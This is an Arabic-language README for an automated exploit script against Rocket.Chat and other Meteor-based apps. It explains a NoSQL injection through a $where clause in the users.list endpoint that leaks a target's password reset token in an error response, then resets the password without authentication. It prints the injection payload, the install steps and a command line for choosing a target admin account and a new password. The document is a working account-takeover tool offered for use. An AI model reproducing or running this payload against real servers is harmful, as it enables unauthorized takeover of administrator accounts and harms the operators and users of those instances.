
أداة استغلال تلقائية لحقن NoSQL في Rocket.Chat تسرّب رموز إعادة تعيين كلمة المرور عبر جملة $where وتنفّذ استيلاءً على الحسابات دون مصادقة.
نص برمجي آلي لاستغلال ثغرات Rocket.Chat (والتطبيقات المبنية على Meteor)، يعتمد على حقن NoSQL عبر عبارة $where لتسريب رموز إعادة تعيين كلمة المرور من خلال استثناءات من جانب الخادم. وبمجرد تسريب الرمز، يقوم النص البرمجي بإعادة تعيين كلمة المرور دون مصادقة.
المصادقة: يقوم النص البرمجي بالمصادقة كمستخدم عادي للوصول إلى نقطة النهاية /api/v1/users.list.
حقن NoSQL: يستخدم معامل query لحقن عبارة $where بلغة JavaScript.
استخراج البيانات: باستخدام العبارة throw داخل الحقن، يجبر الخادم على إرجاع خطأ «استثناء غير مُلتقَط» يحتوي على رمز إعادة تعيين كلمة مرور المستخدم المستهدف.
الاستيلاء على الحساب: يستخدم النص البرمجي الرمز المُسرَّب لاستدعاء resetPassword، مما يغيّر كلمة مرور الحساب المستهدف.
Python 3.x
مكتبة requests
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
جوهر الاستغلال هو سلسلة الحقن التالية:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
عند معالجتها من جانب الخادم، ينفّذ محرك قاعدة البيانات الدالة المجهولة، ويتعطل عند throw، ثم يلتقط التطبيق الاستثناء، ويمرر الرمز السري إلى المستخدم عن غير قصد داخل استجابة الخطأ JSON.
| الوسيط | العلامة الطويلة | الوصف |
|---|
-u | --user | اسم المستخدم أو البريد الإلكتروني الصالح الخاص بك للمصادقة الأولية. |
-p | --password | كلمة المرور الصالحة الخاصة بك. |
-a | --admin | اسم المستخدم للحساب الذي تريد إعادة تعيين كلمة مروره. |
-ap | --admin-pass | كلمة المرور الجديدة التي سيتم تعيينها لحساب المسؤول. |
--url | عنوان URL الأساسي لمثيل Rocket.Chat. |